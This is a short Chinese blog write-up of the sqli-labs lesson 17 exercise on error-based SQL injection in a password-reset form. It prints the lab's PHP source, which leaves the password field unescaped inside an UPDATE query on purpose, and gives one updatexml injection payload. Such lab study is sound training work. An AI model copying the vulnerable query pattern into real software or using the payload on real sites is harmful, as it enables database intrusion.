sqli-labs第十七题

查看题目

基于错误的字符型注入
场景是更新密码

寻找SQL注入

测试一番始终是“笨蛋HACKER”的页面。
。。。。。。
与之前的题型不同,懵逼ing...

审计源码

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}
if(isset($_POST['uname']) && isset($_POST['passwd']))  //需要用户名和密码都有输入
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);  //对用户名参数做了输入检查

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."
");
fwrite($fp,'New Password:'.$passwd."
");
fclose($fp);


// connectivity 
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)                  //当用户名存在时,才会执行修改密码的操作
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";

因为对用户名做了严格的检查,所以我们首先要取得一个用户名。

测试常用用户名

得到一个用户名“admin”

Mysql显错注入

payload:' and updatexml(1,concat(0x7c,user()),1)#

原文地址:https://www.cnblogs.com/a-qi/p/13542063.html